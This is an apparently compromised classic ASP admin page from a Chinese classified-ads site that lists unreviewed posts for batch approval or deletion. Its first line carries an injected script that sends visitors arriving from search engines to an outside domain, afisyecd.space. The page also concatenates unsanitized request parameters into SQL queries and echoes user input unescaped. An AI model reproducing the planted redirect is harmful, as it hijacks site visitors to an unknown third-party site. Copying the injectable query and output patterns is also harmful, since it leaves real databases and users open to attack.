d:\wwwroot\wuchunhua\admin\nopass.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if
005:
006: dim sql,rs
007: keyword=replace(trim(request.form("keyword")),"'","")
008: tid=request("id")
009: ttwoid=request("twoid")
010: tthreeid=request("threeid")
011: if tid="" then tid=0
012: if ttwoid="" then ttwoid=0
013: if tthreeid="" then tthreeid=0
014: if keyword <>"" then
015: sql="select * from china_data where ( title like '%" & keyword & "%' or text like '%" & keyword & "%' ) and mark='no' order by adid desc"
016: else
017: if tid<>0 then
018: if ttwoid=0 then dtype="type_oneid="&tid&""
019: if ttwoid<>0 and tthreeid=0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&""
020: if ttwoid<>0 and tthreeid<>0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&" and type_threeid="&tthreeid&""
021: sql="select * from china_data where "&dtype&" and mark='no' order by adid desc"
022: else
023: sql="select * from china_data where mark='no' order by adid desc"
024: end if
025: end if
026: set rs=server.createobject("adodb.recordset")
027: rs.open sql,conn,1,1%
>
028: <html>
029: <head>
030: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
031: <title>现有信息列表</title>
032: <link rel="stylesheet" type="text/css" href="style.css">
033: </head>
034:
035: <body>
036:       <SCRIPT language=javascript>
037: function CheckAll(form)
038: {
039:   for (var i=0;i<form.elements.length;i++)
040:     {
041:     var e = form.elements[i];
042:     if (e.Name != "chkAll")
043:        e.checked = form.chkAll.checked;
044:     }
045: }
046: function Checked()
047: {
048:    var j = 0
049:    for(i=0;i < document.form.elements.length;i++){
050:       if(document.form.elements[i].name == "adid"){
051:          if(document.form.elements[i].checked){
052:             j++;
053:          }
054:       }
055:    }
056:    return j;
057: }
058:
059: function DelAll()
060: {
061:    if(Checked()  <= 0){
062:       alert("您至少选择1条信息!");
063:    }  
064:    else{
065:       if(confirm("确定要删除选择的信息吗?\n此操作不可以恢复!")){
066:          form.action="del.asp?del=data";
067:          form.submit();
068:       }
069:    }
070: }
071: function PassAll()
072: {
073:    if(Checked()  <= 0){
074:       alert("您至少选择1条信息!");
075:    }  
076:    else{
077:       if(confirm("确定要审核选择的信息吗?\n此操作不可以恢复!")){
078:          form.action="del.asp?del=pass";
079:          form.submit();
080:       }
081:    }
082: }
083: </SCRIPT>
084: <FORM name=form method=post>
085:       <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
086:   <tr>
087:     <td height="20" bgcolor="#799AE1" align="center">
088:       <table width="98%"  border="0" cellspacing="0" cellpadding="0">
089:         <tr>
090:           <td width="55">
091: <select size="1" name="item" onChange="location=this.options[this.selectedIndex].value">
092:               <option value="?id=0" <%if tid=0 then%>selected<%end if%>>全部</option>
093:               <%set rs_lei = server.createobject("adodb.recordset")                                            
094:          sql = "select * from china_type"                                            
095:          rs_lei.open sql,conn,1,1                                          
096:          do while not rs_lei.eof
097:                                if rs_lei("id")<>0 and rs_lei("twoid")=0 and rs_lei("threeid")=0 then%
>
098:                                 <option value="?id=<%=rs_lei("id")%>"<%if tid=rs_lei("id") and ttwoid=0 then%>selected<%end if%>><%=rs_lei("name")%></option>
099:                           <%end if
100:                           if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")=0 then%
>
101:                           <option value="?id=<%=rs_lei("id")%>&twoid=<%=rs_lei("twoid")%>"<%if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=0 then%>selected<%end if%>>&nbsp;&nbsp;<%=rs_lei("name")%></option>
102:                           <%end if
103:                           if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")<>0 then%
>
104:                            <option value="?id=<%=rs_lei("id")%>&twoid=<%=rs_lei("twoid")%>&threeid=<%=rs_lei("threeid")%>"<%if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=rs_lei("threeid") then%>selected<%end if%>>&nbsp;&nbsp;&nbsp;&nbsp;<%=rs_lei("name")%></option>
105:                            <%end if
106:                           rs_lei.movenext                                      
107:         loop                                                
108:         rs_lei.close                                      
109:         set rs_lei = nothing%
>
110:             </select></td>
111:           <td align="center"><font color="#FFFFFF" style="font-size:14px">未 审 核 分 类 信 息</font></td>
112:           <td width="120"><INPUT title=批量审核 onclick=PassAll() type=button value=批量审核 name=Submit><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></td>
113:         </tr>
114:       </table></td>
115:   </tr>
116:   <tr>
117:     <td bgcolor="#FFFFFF"> <br>
118:         <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="#D6DFF7">
119:           <tr bgcolor="#FFFFFF">
120:             <td width="30" align="center">编号</td>
121:             <td align="center">信息标题</td>
122:             <td align="center" width="60">
123:               <div align="center">城市</div>
124:             </td>
125:             <td align="center">信息类别</td>
126:             <td align="center">发布日期</td>
127:             <td align="center">截止日期</td>
128:             <td align="center">审核状态</td>
129:             <td align="center">会员</td>
130:             <td align="center">身份证</td>
131:             <td align="center">IP</td>
132:             <td align="center">管理操作</td>
133:             <td width="30" align="center">
134:               <input id=chkAll
135:                   onClick=CheckAll(this.form) type=checkbox
136:                   value=checkbox name=chkAll>
137:             </td>
138:           </tr>
139:           <%if rs.eof or rs.bof then
140: response.write"<tr bgcolor=#FFFFFF><td colspan='11'><p align='center'><font color='red'>暂无信息!</font></td></tr></table><br>"
141: response.end
142: else
143: const maxperpage=20
144: dim currentpage
145: rs.pagesize=maxperpage
146: currentpage=request.querystring("pageid")
147: if isnumeric(currentpage)=false then
148: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
149: response.end
150: end if
151: if currentpage="" then
152: currentpage=1
153: elseif currentpage<1 then
154: currentpage=1
155: else
156: currentpage=clng(currentpage)
157:    if currentpage > rs.pagecount then
158:    currentpage=rs.pagecount
159:    end if
160: end if
161:
162: dim totalput,n
163: totalput=rs.recordcount
164: if totalput mod maxperpage=0 then
165: n=totalput\maxperpage
166: else
167: n=totalput\maxperpage+1
168: end if
169: if n=0 then
170: n=1
171: end if
172: rs.move(currentpage-1)*maxperpage
173: i=0
174: do while i< maxperpage and not rs.eof%
>
175:           <tr bgcolor="#FFFFFF">
176:             <td align="center"><%=rs("adid")%></td>
177:             <td>&nbsp;<a href="../html/<%=rs("adid")%>.htm" target="_blank"><%=rs("title")%></a>
178:               <%If rs("ispic")="yes" Then%>
179:               <font color="#FF0000">图</font>
180:               <%End If%>
181:             </td>
182:             <td align="center"><a title=<%=rs("city_one")%>/<%=rs("city_two")%>/<%=rs("city_three")%> href="#"><%=rs("city_one")%></a></td>
183:             <td align="center"><a title=<%=rs("type_one")%>/<%=rs("type_two")%>/<%=rs("type_three")%> href="#"><%=rs("type_one")%></a></td>
184:             <td align="center"><%=rs("date")%></td>
185:             <td align="center"><%=rs("stop")%></td>
186:             <td align="center">
187:               <%If rs("mark")="yes" Then%>
188:               <font color="#008000">已审核</font>
189:               <%Else%>
190:               <font color="#FF0000">未审核</font>
191:               <%End If%>
192:             </td>
193:             <td align="center">
194:               <%If rs("uid")<>"" Then%>
195:               <font color="#FF0000">是</font>
196:               <%Else%>
197:               否
198:               <%End If%>
199:             </td>
200:             <td align="center">
201:               <%If rs("cardid")<>"" Then%>
202:               <a href="../cardid.asp?cardid=<%=rs("cardid")%>" target="_blank">查</a>
203:               <%Else%>
204:               无
205:               <%End If%>
206:             </td>
207:             <td align="center">
208:               <%If rs("ip")<>"" Then%>
209:               <a href="../ip.asp?ip=<%=rs("ip")%>" target="_blank">查</a>
210:               <%Else%>
211:               无
212:               <%End If%>
213:             </td>
214:             <td align="center"><a href="editad.asp?id=<%=rs("adid")%>"><font color="green">修改</font></a></td>
215:             <td align="center">
216:               <input type="checkbox" name="adid" value="<%=rs("adid")%>" onClick=Checked(form)>
217:             </td>
218:           </tr>
219:           <%i=i+1                    
220:     rs.movenext                                                              
221:     loop    
222:     rs.close  
223:     set rs=nothing                                                                                    
224:     conn.close  
225:     set conn=nothing                                                                                        
226:     end if%
>
227:         </table>
228:         <br>
229:     </td>
230:   </tr>
231: </table></FORM>                                                            
232:   <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#799AE1">  
233:    <tr>                                                    
234:     <td height="20" bgcolor="#FFFFFF"><p align="center">页数:<%=currentpage%>/<%=n%>                                                            
235:       <%k=currentpage                                                                                        
236:       if k<>1 then%
>                                                                    
237:       <a href="?pageid=1&type=<%=request("type")%>">首页</a>                                                                                        
238:       <a href="?pageid=<%=k-1%>"&type=<%=request("type")%>>上一页</a>     <%else%>                                                                    
239:       首页&nbsp;上一页                                                                                        
240:       <%end if%>                                                                    
241:       <%if k<>n then%>                                                                                        
242:       <a href="?pageid=<%=k+1%>&type=<%=request("type")%>">下一页</a>                                                                                  
243:       <a href="?pageid=<%=n%>&type=<%=request("type")%>">尾页</a>                                                                                      
244:       <%else%>                                                                    
245:       下一页&nbsp;尾页                                                                                        
246:       <%end if%>                                                                    
247:      共有 <%=totalput%> 条信息     </td>                                                                                  
248:     <form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
249:       <input  maxLength="20" name="keyword" onfocus="this.value=''" size="18"  value="<%=keyword%>">
250:     <input  type="submit" value="搜索" style="font-size: 12px" name="search"></td>
251:     </form>
252:    </tr>                                                                
253: </table>                                                      
254: </body>                                                                        
255: </html>    
256:
257: